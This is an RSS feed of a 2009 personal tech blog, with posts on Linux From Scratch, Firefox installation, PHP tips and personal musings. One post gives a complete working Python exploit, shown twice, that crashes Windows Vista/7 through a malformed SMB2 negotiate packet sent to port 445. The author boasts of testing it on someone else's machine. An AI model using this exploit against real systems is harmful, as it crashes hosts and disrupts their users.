<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bruno&#039;s blog</title>
	<atom:link href="http://www.brunocassol.com/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://www.brunocassol.com/blog</link>
	<description></description>
	<lastBuildDate>Wed, 18 Nov 2009 23:47:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Building Linux From Scratch with Ubuntu 9.10 &#8211; Part 1</title>
		<link>http://www.brunocassol.com/blog/building-linux-from-scratch-with-ubuntu-9-10-part-1</link>
		<comments>http://www.brunocassol.com/blog/building-linux-from-scratch-with-ubuntu-9-10-part-1#comments</comments>
		<pubDate>Wed, 18 Nov 2009 20:30:44 +0000</pubDate>
		<dc:creator>Bruno</dc:creator>
				<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.brunocassol.com/blog/?p=227</guid>
		<description><![CDATA[Before anything else
Building Linux from vacuum is a very hard, dangerous and satisfactory process. Four things can happen to you:
1) You end up accidentally deleting data from your hard disk
2) You end up with a useless pile of non-working binaries and source code sitting in your disk
3) You give up and call mom
4) And on [...]]]></description>
			<content:encoded><![CDATA[<h2>Before anything else</h2>
<p>Building Linux from vacuum is a very hard, dangerous and satisfactory process. Four things can happen to you:</p>
<p>1) You end up accidentally deleting data from your hard disk</p>
<p>2) You end up with a useless pile of non-working binaries and source code sitting in your disk</p>
<p>3) You give up and call mom</p>
<p>4) And on very rare cases you end up with a barely working spartan linux setup to show to your friends that you won that war</p>
<p>It is up to you to make sure only step 4 happens. It will only depend on whats inside your skull.</p>
<h2><span id="more-227"></span>What you will need</h2>
<p>1) A working Linux distribution. In my case its the shiny <a href="http://www.ubuntu.com/">Ubuntu 9.10</a> running inside Virtual Box. (I&#8217;ll explain my setup in the next topic)</p>
<p>2) About 6 GB free disk space (to be safe)</p>
<p>3) Lots of time and patience (from 2 to 31415 days, depending on your linux and learning skills)</p>
<p>4) Read this many times: <a href="http://www.linuxfromscratch.org/lfs/view/stable/">http://www.linuxfromscratch.org/lfs/view/stable/</a></p>
<p>5) Luck (sometimes)</p>
<h2>My setup and some life saving tips</h2>
<p>I have only Windows XP installed in my laptop. It  has a virtualization software installed called Virtual Box. Using Virtual Box I installed Ubuntu 9.10 in a virtual drive that is actually only a large 8 GB file sitting in windows partition. You could install Ubuntu directly in your machine instead of installing it virtually, but virtualization gives us some huge benefits:</p>
<p>1) Virtual Box (could be VMWare or others) simulates a virtual computer. That means you can ruin the virtual OS (chances are big) without scratching the real OS.</p>
<p>2) You can read docs in the same PC because the host OS still works while you compile stuff.</p>
<p>3) VirtualBox can take snapshots of the virtual system at any state and restore them latter. That means you can save your progress and rollback if things go wrong (and they probably will).</p>
<p>4) You can run your LFS or continue a work in progress in any computer that has Virtual Box installed. Its just about copying the virtual machine from one PC to other.</p>
<p>5) You can take screenshots easier.</p>
<p>6) You can admire an OS (LFS) being built using an OS (Ubuntu) that is running inside an OS (Window XP in my case).</p>
<h2>Getting Ubuntu 9.10 and the virtual disk ready</h2>
<p>Before installing Ubuntu 9.10 in Virtual Box mind that during Ubuntu installation you will need to choose &#8220;Specify partitions manually&#8221; and create following partitions:</p>
<ol>
<li>First partition: (this is where our LFS will be installed)
<ul>
<li>Type: Primary</li>
</ul>
<ul>
<li>Partition size: 8000 MB</li>
<li>Position: Beginning</li>
<li>Use as = &#8220;do not use the partition&#8221;</li>
</ul>
</li>
<li>Second partition:
<ul>
<li>Type: Logical</li>
<li>Partition size: 500 MB is okay</li>
<li>Position: Beginning</li>
</ul>
<ul>
<li>Use as = &#8220;swap area&#8221;</li>
</ul>
</li>
<li>Third and last partition:
<ul>
<li>Type: Primary</li>
</ul>
<ul>
<li>Partition size: All the space left on disk</li>
<li>Position: Beginning</li>
</ul>
<ul>
<li>Use as = &#8220;/&#8221;</li>
</ul>
</li>
</ol>
<p>Now that you know how to partition your virtual disk when installing Ubuntu 9.10 in Virtual Box, you can install it. I wont go through the process of installing Ubuntu 9.10 in Virtual Box because <a href="http://www.overclock.net/linux-unix/600631-guide-installing-ubuntu-9-10-virtual.html">some people can do it better</a> than me. But <strong>remember to choose &#8220;Specify partitions manually&#8221; during its setup</strong>.</p>
<h2>Once Ubuntu 9.10 is installed</h2>
<p>Now its time to prepare your brand new Ubuntu 9.10 with the tools needed to build LFS.</p>
<p>Continues soon&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunocassol.com/blog/building-linux-from-scratch-with-ubuntu-9-10-part-1/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>How to install Firefox 3.5 on Ubuntu 9.04</title>
		<link>http://www.brunocassol.com/blog/how-to-install-firefox-3-5-on-ubuntu-9-04</link>
		<comments>http://www.brunocassol.com/blog/how-to-install-firefox-3-5-on-ubuntu-9-04#comments</comments>
		<pubDate>Sat, 12 Sep 2009 20:15:00 +0000</pubDate>
		<dc:creator>Bruno</dc:creator>
				<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://www.brunocassol.com/blog/?p=220</guid>
		<description><![CDATA[In simple 3 steps:
1) Type these commands in Terminal:
sudo apt-key adv &#8211;recv-keys &#8211;keyserver keyserver.ubuntu.com 0C713DA6
sudo apt-get install firefox-3.5
sudo ln -sf /usr/bin/firefox-3.5  /usr/bin/firefox
2) Firefox is now much faster and have a Private Browsing mode (aka Porn Mode)
3) Have fun!
]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-medium wp-image-221" title="firefox" src="http://www.brunocassol.com/blog/wp-content/uploads/2009/09/firefox-300x290.jpg" alt="firefox" width="240" height="232" />In simple 3 steps:</p>
<p>1) Type these commands in Terminal:</p>
<p><strong>sudo apt-key adv &#8211;recv-keys &#8211;keyserver keyserver.ubuntu.com 0C713DA6</strong></p>
<p><strong>sudo apt-get install firefox-3.5</strong></p>
<p><strong>sudo ln -sf /usr/bin/firefox-3.5  /usr/bin/firefox</strong></p>
<p>2) Firefox is now much faster and have a Private Browsing mode (aka Porn Mode)</p>
<p>3) Have fun!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunocassol.com/blog/how-to-install-firefox-3-5-on-ubuntu-9-04/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Propero CMS launched</title>
		<link>http://www.brunocassol.com/blog/propero-cms-launched</link>
		<comments>http://www.brunocassol.com/blog/propero-cms-launched#comments</comments>
		<pubDate>Sat, 12 Sep 2009 03:48:09 +0000</pubDate>
		<dc:creator>Bruno</dc:creator>
				<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://www.brunocassol.com/blog/?p=217</guid>
		<description><![CDATA[
I just created Propero CMS project @ launchpad. Very excited about sharing my master piece with the world.
Still there&#8217;s no documentation or download available. Please be patient. A great piece of software is comming.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://propero.org/"><img class="size-full wp-image-218 alignright" title="Propero CMS" src="http://www.brunocassol.com/blog/wp-content/uploads/2009/09/logo.png" alt="Propero CMS" width="255" height="253" /></a></p>
<p>I just created Propero CMS project @ launchpad. Very excited about sharing my master piece with the world.</p>
<p>Still there&#8217;s no documentation or download available. Please be patient. A great piece of software is comming.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunocassol.com/blog/propero-cms-launched/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows Vista/7 terrorism in 30 lines of Python</title>
		<link>http://www.brunocassol.com/blog/windows-vista7-terrorism-in-30-lines-of-python</link>
		<comments>http://www.brunocassol.com/blog/windows-vista7-terrorism-in-30-lines-of-python#comments</comments>
		<pubDate>Wed, 09 Sep 2009 18:46:44 +0000</pubDate>
		<dc:creator>Bruno</dc:creator>
				<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://www.brunocassol.com/blog/?p=211</guid>
		<description><![CDATA[Any kid can hack Vista/7 and make it shutdown with 30 lines of python code.
I just tested this in a stock Ubuntu 9.04 installation targetting my girl&#8217;s poor Windows 7 machine and it was total anihilation:
#!/usr/bin/python
# When SMB2.0 recieve a "&#38;" char in the "Process Id High" SMB header field
# it dies with a PAGE_FAULT_IN_NONPAGED_AREA [...]]]></description>
			<content:encoded><![CDATA[<p>Any kid can hack Vista/7 and make it shutdown with 30 lines of python code.</p>
<p>I just tested this in a stock Ubuntu 9.04 installation targetting my girl&#8217;s poor Windows 7 machine and it was total anihilation:<span id="more-211"></span></p>
<pre>#!/usr/bin/python
# When SMB2.0 recieve a "&amp;" char in the "Process Id High" SMB header field
# it dies with a PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
from socket import *

host = "10.1.1.101", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 &amp; sub 0xc853
"\x00\x26"         # Process ID High: --&gt; <img src='http://www.brunocassol.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()

s.connect(host)
s.send(buff)
s.close()</pre>
<h2>Save.py<br />
./execute<br />
Result:</h2>
<p style="text-align: center;">
<div id="attachment_212" class="wp-caption aligncenter" style="width: 522px"><a href="http://www.brunocassol.com/blog/wp-content/uploads/2009/09/BSOD-0p6b.png"><img class="size-full wp-image-212" title="BSOD-0p6b" src="http://www.brunocassol.com/blog/wp-content/uploads/2009/09/BSOD-0p6b.png" alt="Windows Vista/7 BSDO madness" width="512" height="384" /></a><p class="wp-caption-text">Windows Vista/7 BSDO madness</p></div>
<p>If you can&#8217;t use this you shouldn&#8217;t be trying to.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 382px; width: 1px; height: 1px;"># When SMB2.0 recieve a &#8220;&amp;&#8221; char in the &#8220;Process Id High&#8221; SMB header field it dies with a<br />
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket<br />
from time import sleep<br />
from socket import *</p>
<p>host = &#8220;10.1.1.101&#8243;, 445<br />
buff = (<br />
&#8220;\x00\x00\x00\x90&#8243; # Begin SMB header: Session message<br />
&#8220;\xff\x53\x4d\x42&#8243; # Server Component: SMB<br />
&#8220;\x72\x00\x00\x00&#8243; # Negociate Protocol<br />
&#8220;\x00\x18\x53\xc8&#8243; # Operation 0&#215;18 &amp; sub 0xc853<br />
&#8220;\x00\x26&#8243;# Process ID High: &#8211;&gt; <img src='http://www.brunocassol.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  normal value should be &#8220;\x00\x00&#8243;<br />
&#8220;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe&#8221;<br />
&#8220;\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54&#8243;<br />
&#8220;\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31&#8243;<br />
&#8220;\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00&#8243;<br />
&#8220;\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57&#8243;<br />
&#8220;\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61&#8243;<br />
&#8220;\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c&#8221;<br />
&#8220;\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c&#8221;<br />
&#8220;\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e&#8221;<br />
&#8220;\x30\x30\x32\x00&#8243;</p>
<p>)<br />
s = socket()</p>
<p>s.connect(host)<br />
s.send(buff)<br />
s.close()</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.brunocassol.com/blog/windows-vista7-terrorism-in-30-lines-of-python/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Updated blog, domains and started some projects</title>
		<link>http://www.brunocassol.com/blog/updated-blog-domains-and-started-some-projects</link>
		<comments>http://www.brunocassol.com/blog/updated-blog-domains-and-started-some-projects#comments</comments>
		<pubDate>Mon, 07 Sep 2009 19:05:30 +0000</pubDate>
		<dc:creator>Bruno</dc:creator>
				<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://www.brunocassol.com/blog/?p=191</guid>
		<description><![CDATA[I wanted to do an overall revamp of my online presence for a long time. What I&#8217;ve done:

Updated WordPress to latest version and changed theme to a heavily modified version of Chrome Theme.
Created a front-page on brunocassol.com with basic information about me.
Started Propero.org &#8211; Simple CMS I&#8217;m writing for PHP5.
Started ZenBuntu.com &#8211; Blog about Ubuntu [...]]]></description>
			<content:encoded><![CDATA[<p>I wanted to do an overall revamp of my online presence for a long time. What I&#8217;ve done:</p>
<ul>
<li>Updated WordPress to latest version and changed theme to a heavily modified version of <a title="Chrome Theme for WordPress page." href="http://ericulous.com/2008/09/09/wp-theme-google-chrome/">Chrome Theme</a>.</li>
<li>Created a front-page on <a title="My website." href="http://brunocassol.com/">brunocassol.com</a> with basic information about me.</li>
<li>Started <a href="http://propero.org">Propero.org</a> &#8211; Simple CMS I&#8217;m writing for PHP5.</li>
<li>Started <a title="Blog about Ubuntu." href="http://zenbuntu.com/">ZenBuntu.com</a> &#8211; Blog about Ubuntu and my experiences with it. Includes tips, how-tos and news.</li>
<li>Transfered all my domains from Yahoo SmallBusiness to GoDaddy. ZenBuntu.com will complete its transfer in 60 days from now. The reason is simple: Yahoo advertises domains for ~$12 but their renewal costs ~$30. That&#8217;s very very out of the market medium prices and yahoo offers nothing special (often less features) for that. Yahoo <a title="YahooBullshit: People Mad at Yahoo." href="http://yahoobullshit.wordpress.com/">made lots of people mad</a> with this.</li>
</ul>
<p>More updates comming.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunocassol.com/blog/updated-blog-domains-and-started-some-projects/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Amazing #3</title>
		<link>http://www.brunocassol.com/blog/amazing-3</link>
		<comments>http://www.brunocassol.com/blog/amazing-3#comments</comments>
		<pubDate>Mon, 07 Sep 2009 19:38:50 +0000</pubDate>
		<dc:creator>Bruno</dc:creator>
				<category><![CDATA[amazing]]></category>

		<guid isPermaLink="false">http://www.brunocassol.com/blog/?p=194</guid>
		<description><![CDATA[Source: Princess Paige blog
]]></description>
			<content:encoded><![CDATA[<div id="attachment_195" class="wp-caption aligncenter" style="width: 570px"><a href="http://www.brunocassol.com/blog/wp-content/uploads/2009/09/untitled-21.jpg"><img class="size-full wp-image-195" title="Summit of Crowsnest Mountain, Crowsnest Pass, Alberta" src="http://www.brunocassol.com/blog/wp-content/uploads/2009/09/untitled-21.jpg" alt="Summit of Crowsnest Mountain, Crowsnest Pass, Alberta" width="560" height="420" /></a><p class="wp-caption-text">Sometimes we feel this way: alone with a whole world to explore. But we are never alone and this world is temporary.</p></div>
<p>Source: <a title="Princess Paige blog" href="http://princesspaige.wordpress.com/2009/08/21/stunning/summit-of-crowsnest-mountain-crowsnest-pass-alberta/">Princess Paige blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunocassol.com/blog/amazing-3/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>20+ PHP web developer tips</title>
		<link>http://www.brunocassol.com/blog/20-php-web-developer-tips</link>
		<comments>http://www.brunocassol.com/blog/20-php-web-developer-tips#comments</comments>
		<pubDate>Thu, 20 Aug 2009 22:38:51 +0000</pubDate>
		<dc:creator>Bruno</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.brunocassol.com/blog/?p=166</guid>
		<description><![CDATA[This is my personal collection of tips for web developers. This is supposed to grow big! Please be patient and link this only when it&#8217;s decent or at least half finished.
1 &#8211; Hide errors from visitors, not from you
When developing you will want to see all possible errors. I&#8217;ll use Rasmus (creator of PHP) words:
You [...]]]></description>
			<content:encoded><![CDATA[<p>This is my personal collection of tips for web developers. This is supposed to grow big! Please be patient and link this only when it&#8217;s decent or at least half finished.<span id="more-167"></span></p>
<h3>1 &#8211; Hide errors from visitors, not from you</h3>
<p>When developing you will want to see all possible errors. I&#8217;ll use Rasmus (creator of PHP) <a href="http://www.smashingmagazine.com/2009/03/24/10-useful-php-tips-revisited#comment-333560">words</a>:</p>
<blockquote><p>You should always develop with all possible messages turned on.  eg.</p>
<p>error_reporting = E_ALL | E_STRICT</p>
<p>And before you put your site in production make sure you do:</p>
<p>display_errors = Off</p>
<p>And send all error messages to a log file:</p>
<p>log_errors = On<br />
error_log = “/var/log/php_errors”</p></blockquote>
<h3>2 &#8211; UTFB, Use The Fucking Braces!</h3>
<p>Never, ever ommit braces. This is a mean, cheap and lazzy (the bad laziness) practice. Braces add to code readability and that should be your primary goal when coding.</p>
<p><span style="color: #ff0000;"><strong>Bad:</strong></span></p>
<pre lang="php">if (userIsLogged()) showPrivatePage();
else requireLogin();</pre>
<p><span style="color: #3366ff;"><strong>Good:</strong></span></p>
<pre lang="php">if (userIsLogged()){
    showPrivatePage();
}
else
{
    requireLogin();
}</pre>
<p>Where you want to position the braces its up to you and I&#8217;m not interested in your preference. =P</p>
<h3>3 &#8211; Register globals. Don&#8217;t do it for the sake of PHP</h3>
<div id="attachment_177" class="wp-caption aligncenter" style="width: 553px"><img class="size-full wp-image-177" title="register-globals-warning" src="http://www.brunocassol.com/blog/wp-content/uploads/2009/06/register_globals_warning.png" alt="PHP online manual is very clear about register_globals: DON'T!" width="543" height="120" /><p class="wp-caption-text">PHP online manual is very clear about register_globals: DON&#39;T!</p></div>
<p>Register globals is a MoNsTeR that chews variables from $_ENV, $_GET, $_POST, $_COOKIE and $_SERVER and then spits the result as global variables into global scope.</p>
<p>It&#8217;s the easiest way to get really strange application behaviors (bugs) and security holes (big ones). I&#8217;m sure whoever invented it had good intentions but it didn&#8217;t worked well.</p>
<p>Always be clear from where you are reading input and you will also get a bonus to redability. Use the $_POST, $_GET, $_SERVER, $_ENVand $_COOKIE instead.</p>
<p><span style="color: #ff0000;"><strong>Bad:</strong></span></p>
<pre lang="php">// with magic quotes turned on, $admin could come from many sources
if ($admin == true)
{
    showAdminPage();
}
else
{
    showPermissionDenied();
}</pre>
<p><span style="color: #3366ff;"><strong>Good:</strong></span></p>
<pre lang="php">if (isset($_SESSION['admin']) and $_SESSION['admin'] == true)
{
    showAdminPage();
}
else
{
    showPermissionDenied();
}</pre>
<h3>4 &#8211; Avoid @error suppresion</h3>
<p>You can hide errors from PHP by using @ like this:</p>
<p><span style="color: #ff0000;"><strong>Bad:</strong></span></p>
<pre>if (trim(@$_POST['name'] == '')
{
    $error = 'Please type your name.';
}</pre>
<p>There are two problems with using PHP&#8217;s @ error suppression. The first problem is that for each @, PHP have to change error_reporting level to 0, processes the expression proceding the @ character and then return the error reporting back to the previous level. This is expensive!</p>
<p>The second argument against error suppression is that it can often be the source of debugging nightmares because it hides errors from you, even fatal errors commonly produced by mistyping function names and unexpected behavior. Remember the first tip: Hide errors from visitors, not from you.</p>
<p style="text-align: center;">
<div id="attachment_172" class="wp-caption aligncenter" style="width: 555px"><img class="size-full wp-image-172" title="error_control_operator" src="http://www.brunocassol.com/blog/wp-content/uploads/2009/06/error_control_operator.png" alt="PHP manual states clearly the d@ngers of error suppresion in PHP." width="545" height="171" /><p class="wp-caption-text">PHP manual states clearly the d@ngers of error suppresion in PHP.</p></div>
<p>There are however, a few cases where it is okay to use the error suppression. Some examples of good and bad usage:</p>
<p><span style="color: #ff0000;"><strong>Bad:</strong></span></p>
<pre>if (User::authenticate(@$_POST['name'], @$_POST['pass']))
{
    header('Location: /admin/');
    exit;
}</pre>
<p><span style="color: #3366ff;"><strong>Good:</strong></span></p>
<pre>if (isset($_POST['name'], $_POST['pass']) &amp;&amp; User::authenticate($_POST['name'], $_POST['pass'])
{
    header('Location: /admin/');
    exit;
}</pre>
<p><span style="color: #3366ff;"><strong>Good:</strong></span></p>
<pre>// Suppress error sending e-mail because the function already return if the operatio nwas a sucess or no
$mailSent = @mail($to, $subject, $message, $headers);</pre>
<p><strong>Tip:</strong> If you use custom error handler, you can detect error suppression by checking if PHP lowered the errro_reporting level just before calling your error handler:</p>
<pre>function myErrorHandler($errno, $errstr, $errfile, $errline)
{
    // If error has been supressed with an @
    if (error_reporting() == 0) {
        return true;
    }

    // &gt;&gt;&gt;&gt;&gt; Your error handling code here &lt;&lt;&lt;&lt;&lt;

    // By returning true we are tell PHP not to execute its internal error handler
    return true;
}

$oldErrorHandler = set_error_handler("myErrorHandler");</pre>
<h3><strong><em><span style="color: #339966;">I&#8217;ll write the tips below when I have the time&#8230;</span></em></strong></h3>
<h3>5 &#8211; Autoload classes</h3>
<h3>6 &#8211; Separate code from HTML (logic from view)</h3>
<h3>7 &#8211; Framework: should you use one?</h3>
<h3>8 &#8211; Request only what you need from database: avoid SELECT *</h3>
<h3>9 &#8211; The art of code commenting</h3>
<h3>10 &#8211; Have a clone from production environment if possible</h3>
<h3>11 &#8211; Use a database connection wrapper</h3>
<h3>12 &#8211; Code performance optimization: leave it to the end and when really necessary</h3>
<h3>13 &#8211; Keep It <span style="text-decoration: line-through;">Simple</span> Understandable</h3>
<h3>14 &#8211; Don&#8217;t Repeat Yourself</h3>
<h3>15 &#8211; Where to get help</h3>
<h3>16 &#8211; Get concentrated (enter the zone)</h3>
<h3>17 &#8211; Keep updated</h3>
<h3>18 &#8211; Avoid distractions and time killers at all costs</h3>
<h3>19 &#8211; Stop spamming the Internet</h3>
<p>Don&#8217;t start or participate in any flamewar. People don&#8217;t <span style="text-decoration: line-through;">need</span> want to know what editor/tool/framework/operational system/distro/lib/language/coding standard/keyboard/laptop/hand/finger/toilet paper you use or like unless:</p>
<p>a) Someone ask you</p>
<p>or</p>
<p>b) Your information will add some value</p>
<h3>20 &#8211; Debugging for designers</h3>
<h3>21 &#8211; Debugging for developers</h3>
<h3>22 &#8211; What is MVC? Should you use it?</h3>
<h3>23 &#8211; UTF-8 encoding for breakfast, dinner and launch</h3>
<h3>24 &#8211; Don&#8217;t use short tags: &lt;?= and &lt;%</h3>
<p><strong><span style="color: #339966;"><em>More to come&#8230; I&#8217;ll keep updating this post.</em></span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunocassol.com/blog/20-php-web-developer-tips/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Simple explanation of Open Source Business</title>
		<link>http://www.brunocassol.com/blog/simple-explanation-of-open-source-business</link>
		<comments>http://www.brunocassol.com/blog/simple-explanation-of-open-source-business#comments</comments>
		<pubDate>Sun, 14 Jun 2009 02:56:43 +0000</pubDate>
		<dc:creator>Bruno</dc:creator>
				<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://www.brunocassol.com/blog/?p=147</guid>
		<description><![CDATA[A simple explanation on open source business can be found in this chat with my bud Adam:
(10:32:38 PM) Bruno Cassol: 
How-to-make-money-from-Open-source: http://tinyurl.com/moneyfromopensource
(10:33:22 PM) carebox: 
can you summarize it?
(10:33:23 PM) carebox: 
xD
(10:37:56 PM) Bruno Cassol: 
yes.
(10:38:03 PM) Bruno Cassol: 
after i ifnish reading it.
(10:38:15 PM) Bruno Cassol: 
for a small fee of $10 of course.
(10:39:18 PM) [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_149" class="wp-caption alignright" style="width: 310px"><img class="size-full wp-image-149" title="bart-on-oss" src="http://www.brunocassol.com/blog/wp-content/uploads/2009/06/bart-on-oss.jpg" alt="Bart Simpson on Open Source Software" width="300" height="209" /><p class="wp-caption-text">Bart Simpson on Open Source Software</p></div>
<p>A simple explanation on open source business can be found in this chat with my bud Adam:</p>
<p><span style="color: #0000ff;"><strong>(10:32:38 PM) Bruno Cassol: </strong></span><br />
How-to-make-money-from-Open-source: http://tinyurl.com/moneyfromopensource<br />
<span style="color: #ff6600;"><strong>(10:33:22 PM) carebox: </strong></span><br />
can you summarize it?<br />
<span style="color: #ff6600;"><strong>(10:33:23 PM) carebox: </strong></span><br />
xD<br />
<span style="color: #0000ff;"><strong>(10:37:56 PM) Bruno Cassol: </strong></span><br />
yes.<br />
<span style="color: #0000ff;"><strong>(10:38:03 PM) Bruno Cassol: </strong></span><br />
after i ifnish reading it.<br />
<span style="color: #0000ff;"><strong>(10:38:15 PM) Bruno Cassol: </strong></span><br />
for a small fee of $10 of course.<br />
<span style="color: #ff6600;"><strong>(10:39:18 PM) carebox: </strong></span><br />
that is not open source<br />
<span style="color: #0000ff;"><strong>(10:42:04 PM) Bruno Cassol: </strong></span><br />
Of course it is. The text is open for you to read. But summarization of it is a service I provide for $10 bucks. Welcome to open source business, where you sell the service, not the product.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunocassol.com/blog/simple-explanation-of-open-source-business/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Think #3</title>
		<link>http://www.brunocassol.com/blog/thnk-3</link>
		<comments>http://www.brunocassol.com/blog/thnk-3#comments</comments>
		<pubDate>Fri, 05 Jun 2009 02:20:36 +0000</pubDate>
		<dc:creator>Bruno</dc:creator>
				<category><![CDATA[think]]></category>

		<guid isPermaLink="false">http://www.brunocassol.com/blog/?p=138</guid>
		<description><![CDATA[We can learn anything but not everything.
]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-medium wp-image-142" title="reader460" src="http://www.brunocassol.com/blog/wp-content/uploads/2009/06/reader460-300x180.jpg" alt="reader460" width="300" height="180" />We can learn anything but not everything.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunocassol.com/blog/thnk-3/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Think #2</title>
		<link>http://www.brunocassol.com/blog/think-2</link>
		<comments>http://www.brunocassol.com/blog/think-2#comments</comments>
		<pubDate>Thu, 04 Jun 2009 22:37:53 +0000</pubDate>
		<dc:creator>Bruno</dc:creator>
				<category><![CDATA[think]]></category>

		<guid isPermaLink="false">http://www.brunocassol.com/blog/?p=136</guid>
		<description><![CDATA[The more you define your objectives, the better you will achieve them. Keep focused.
]]></description>
			<content:encoded><![CDATA[<div id="attachment_201" class="wp-caption aligncenter" style="width: 458px"><img class="size-full wp-image-201" title="sunglass-burn-paper" src="http://www.brunocassol.com/blog/wp-content/uploads/2009/06/DSC01058-web-1.JPG" alt="Focus." width="448" height="336" /><p class="wp-caption-text">Focus.</p></div>
<p>The more you define your objectives, the better you will achieve them. Keep focused.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunocassol.com/blog/think-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
